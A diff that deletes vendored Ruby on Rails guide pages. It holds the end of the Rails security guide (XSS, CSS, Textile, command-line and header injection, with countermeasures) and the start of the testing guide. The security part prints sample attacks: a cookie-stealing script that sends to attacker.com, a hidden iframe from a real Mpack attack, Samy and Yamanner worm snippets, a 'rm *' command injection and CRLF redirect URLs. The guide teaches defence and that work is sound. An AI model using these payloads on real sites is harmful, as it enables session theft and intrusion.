-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="para"><p>The log files on www.attacker.com will read like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
-</div></div>
-<div class="para"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
-<h5 id="_defacement">Defacement</h5>
-<div class="para"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
-</div></div>
-<div class="para"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
-<div class="para"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
-<div class="para"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson&#8230;":</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
-  &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
-</div></div>
-<h5 id="_countermeasures_3">Countermeasures</h5>
-<div class="para"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
-<div class="para"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
-<div class="para"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
-</div></div>
-<div class="para"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
-</div></div>
-<div class="para"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
-<div class="para"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;amp;, &amp;quot;, &amp;lt; and &amp;gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
-<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
-<div class="para"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
-  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
-</div></div>
-<div class="para"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
-<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
-<div class="para"><p>&#8212; <em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p></div>
-<div class="para"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
-  target=""onload="var http_request = false;    var Email = '';
-  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...</tt></pre>
-</div></div>
-<div class="para"><p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
-<div class="para"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta's website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
-<div class="para"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
-<div class="para"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
-<h3 id="_css_injection">8.4. CSS Injection</h3>
-<div class="para"><p>&#8212; <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
-<div class="para"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
-<div class="para"><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
-</div></div>
-<div class="para"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
-</div></div>
-<div class="para"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
-</div></div>
-<div class="para"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
-<div class="para"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
-<div class="para"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
-<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
-<div class="para"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
-<h3 id="_textile_injection">8.5. Textile Injection</h3>
-<div class="para"><p>&#8212; <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
-=&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
-</div></div>
-<div class="para"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
-=&gt; "alert(1)"</tt></pre>
-</div></div>
-<div class="para"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
-=&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
-</div></div>
-<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
-<div class="para"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
-<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
-<div class="para"><p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div>
-<div class="para"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
-<h3 id="_rjs_injection">8.7. RJS Injection</h3>
-<div class="para"><p>&#8212; <em>Don't forget to escape in JavaScript (RJS) templates, too.</em></p></div>
-<div class="para"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
-<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
-<div class="para"><p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p></div>
-<div class="para"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
-<div class="para"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files</tt></pre>
-</div></div>
-<h3 id="_header_injection">8.9. Header Injection</h3>
-<div class="para"><p>&#8212; <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
-<div class="para"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
-<div class="para"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>redirect_to params[:referer]</tt></pre>
-</div></div>
-<div class="para"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="para"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="para"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld</tt></pre>
-</div></div>
-<div class="para"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
-<h4 id="_response_splitting">8.9.1. Response Splitting</h4>
-<div class="para"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100         shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html</tt></pre>
-</div></div>
-<div class="para"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
-</div>
-<h2 id="_additional_resources">9. Additional resources</h2>
-<div class="sectionbody">
-<div class="para"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
-</p>
-</li>
-<li>
-<p>
-Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
-</p>
-</li>
-<li>
-<p>
-A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
-</p>
-</li>
-<li>
-<p>
-Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 1, 2008: First approved version by Heiko Webers
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html
deleted file mode 100644
index b8a99767..00000000
--- a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html
+++ /dev/null
@@ -1,1859 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>A Guide to Testing Rails Applications</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a>
-					</li>
-					<li>
-					<a href="#_introduction_to_testing">Introduction to Testing</a>
-						<ul>
-						
-							<li><a href="#_the_3_environments">The 3 Environments</a></li>
-						
-							<li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li>
-						
-							<li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_unit_testing_your_models">Unit Testing your Models</a>
-						<ul>
-						
-							<li><a href="#_preparing_you_application_for_testing">Preparing you Application for Testing</a></li>
-						
-							<li><a href="#_running_tests">Running Tests</a></li>
-						
-							<li><a href="#_what_to_include_in_your_unit_tests">What to Include in Your Unit Tests</a></li>
-						
-							<li><a href="#_assertions_available">Assertions Available</a></li>
-						
-							<li><a href="#_rails_specific_assertions">Rails Specific Assertions</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_functional_tests_for_your_controllers">Functional Tests for Your Controllers</a>
-						<ul>
-						
-							<li><a href="#_what_to_include_in_your_functional_tests">What to include in your Functional Tests</a></li>
-						
-							<li><a href="#_available_request_types_for_functional_tests">Available Request Types for Functional Tests</a></li>
-						
-							<li><a href="#_the_4_hashes_of_the_apocalypse">The 4 Hashes of the Apocalypse</a></li>
-						
-							<li><a href="#_instance_variables_available">Instance Variables Available</a></li>
-						
-							<li><a href="#_a_fuller_functional_test_example">A Fuller Functional Test Example</a></li>
-						
-							<li><a href="#_testing_views">Testing Views</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_integration_testing">Integration Testing</a>
-						<ul>
-						
-							<li><a href="#_helpers_available_for_integration_tests">Helpers Available for Integration tests</a></li>
-						
-							<li><a href="#_integration_testing_examples">Integration Testing Examples</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_rake_tasks_for_running_your_tests">Rake Tasks for Running your Tests</a>
-					</li>
-					<li>
-					<a href="#_brief_note_about_test_unit">Brief Note About Test::Unit</a>
-					</li>
-					<li>
-					<a href="#_setup_and_teardown">Setup and Teardown</a>
-					</li>
-					<li>
-					<a href="#_testing_routes">Testing Routes</a>
-					</li>
-					<li>
-					<a href="#_testing_your_mailers">Testing Your Mailers</a>
-						<ul>
-						
-							<li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li>
-						
-							<li><a href="#_unit_testing">Unit Testing</a></li>
-						
-							<li><a href="#_functional_testing">Functional Testing</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_other_testing_approaches">Other Testing Approaches</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>A Guide to Testing Rails Applications</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Understand Rails testing terminology
-</p>
-</li>
-<li>
-<p>
-Write unit, functional and integration tests for your application
-</p>
-</li>
-<li>
-<p>
-Identify other popular testing approaches and plugins
-</p>
-</li>
-</ul></div>
-<div class="para"><p>This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
-</div>
-</div>
-<h2 id="_why_write_tests_for_your_rails_applications">1. Why Write Tests for your Rails Applications?</h2>
-<div class="sectionbody">
-<div class="ilist"><ul>
-<li>
-<p>
-Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
-</p>
-</li>
-<li>
-<p>
-By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
-</p>
-</li>
-<li>
-<p>
-Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_introduction_to_testing">2. Introduction to Testing</h2>
-<div class="sectionbody">
-<div class="para"><p>Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.</p></div>
-<h3 id="_the_3_environments">2.1. The 3 Environments</h3>
-<div class="para"><p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
-<div class="para"><p>One place you'll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-production
-</p>
-</li>
-<li>
-<p>
-development
-</p>
-</li>
-<li>
-<p>
-test
-</p>
-</li>
-</ul></div>
-<div class="para"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
-<div class="para"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
-<div class="para"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
-<h3 id="_rails_sets_up_for_testing_from_the_word_go">2.2. Rails Sets up for Testing from the Word Go</h3>
-<div class="para"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ ls -F <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">/</span>
-
-fixtures<span style="color: #990000">/</span>       functional<span style="color: #990000">/</span>     integration<span style="color: #990000">/</span>    test_helper<span style="color: #990000">.</span>rb  unit<span style="color: #990000">/</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
-<h3 id="_the_low_down_on_fixtures">2.3. The Low-Down on Fixtures</h3>
-<div class="para"><p>For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
-<h4 id="_what_are_fixtures">2.3.1. What Are Fixtures?</h4>
-<div class="para"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>. In this guide we will use <strong>YAML</strong> which is the preferred format.</p></div>
-<div class="para"><p>You'll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
-<h4 id="_yaml">2.3.2. YAML</h4>
